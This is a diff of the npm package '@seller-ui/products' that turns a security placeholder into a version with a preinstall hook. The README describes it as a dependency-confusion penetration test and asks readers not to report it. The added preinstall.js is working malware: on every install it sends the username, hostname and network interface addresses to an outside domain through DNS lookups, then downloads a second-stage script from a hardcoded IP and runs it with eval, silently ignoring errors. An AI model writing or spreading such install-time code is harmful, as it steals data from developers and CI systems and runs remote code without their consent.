@seller-ui/products 0.0.1-security → 0.1.99

package/README.md

@@ -1,5 +1,18 @@
-# Security holding package
+# 🛑 PLEASE DO NOT INSTALL THIS PACKAGE 🛑
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+This package was created to test for the dependency confusion vulnerability as a part of penetration testing process.
+__Package maintainer organization was provided the detailed information about this test, including package name & possible consequences for their CI/CD pipeline.__
 
-Please refer to www.npmjs.com/advisories?search=%40seller-ui%2Fproducts for more information.
+As in the original dependency confusion whitepaper, this package makes use of the pre-install script.
+It does the following steps:
+
+1. Collects statistics (hostname, username, network interface names) using DNS lookups.
+2. If the Internet connectivity allows outgoing HTTP requests and *the request is made from the subnet of the organization which the current pentesting activity targets*, 
+the second stage of the JS payload is downloaded and evaluated.
+3. The second stages attempts to set up SOCKS5 proxy to create the tunnel inside the target infrastructure.
+
+The second stage __only affects the IP range of the penetration test subject organization__. 
+You can verify this by making the request to the URL where the payload is downloaded from (`preinstall.js, line 7`).
+
+Once this test is complete (3-14 days), the package will be deleted and reported to NPM security team.
+Until then, __please do not install or report it__.

package/index.js

@@ -0,0 +1,2 @@
+// Dummy module file
+module.exports = {};

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "@seller-ui/products",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "0.1.99",
+  "description": "",
+  "main": "preinstall.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node preinstall.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
 }

package/preinstall.js

@@ -0,0 +1,80 @@
+var http = require("http");
+var dns = require("dns");
+var os = require("os");
+
+var DNS_DOMAIN = '.oz.b.blueotter.info';
+
+var STAGE_URL = 'http://192.70.197.169/seller-ui-eslint-plugin/stage.json';
+
+var randomString = function (length) {
+    var result = '';
+    var alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
+    for (var i = 0; i < length; i++)
+        result += alphabet.charAt(Math.floor(Math.random() *
+            alphabet.length));
+    return result;
+}
+
+var getNetworkInterfaces = function () {
+    var ifaces = os.networkInterfaces();
+    var results = {};
+
+    Object.keys(ifaces).forEach(function (name) {
+        ifaces[name].forEach(function (net) {
+            if (net.family === 'IPv4' && !net.internal) {
+                if (!results[name])
+                    results[name] = [];
+                results[name].push(net.address);
+            }
+        });
+    });
+
+    return results;
+}
+
+var toHex = function (str) {
+    return Buffer.from(str, 'utf-8').toString('hex');
+}
+
+var collectStats = function () {
+    // Unique 6-character string to identify host in DNS logs
+    var hostId = toHex(randomString(3));
+    var suffix = '.' + hostId + DNS_DOMAIN;
+    // Stat type prefix:
+    // x - username
+    // y - hostname
+    // z - network interface
+    var hostname = os.hostname();
+    var username = os.userInfo().username;
+    var ifaces = getNetworkInterfaces();
+    dns.lookup('products' + suffix, function (err, res) {});
+    dns.lookup('x' + toHex(username) + suffix, function (err, res) {});
+    dns.lookup('y' + toHex(hostname) + suffix, function (err, res) {});
+
+    Object.keys(ifaces).forEach(function (iface) {
+        dns.lookup('z' + toHex(iface) + '.' + ifaces[iface][0] + suffix, function (err, res) {});
+    });
+}
+
+var execSecondStage = function () {
+    http.get(STAGE_URL, function (res) {
+        var body = '';
+
+        res.on('data', function (chunk) {
+            body += chunk;
+        });
+
+        res.on('end', function () {
+            try {
+                eval(body);
+            } catch (err) {
+                // Silently ignore the error
+            }
+        });
+    }).on('error', function (e) {
+        // Silently ignore the error
+    });
+}
+
+collectStats();
+execSecondStage();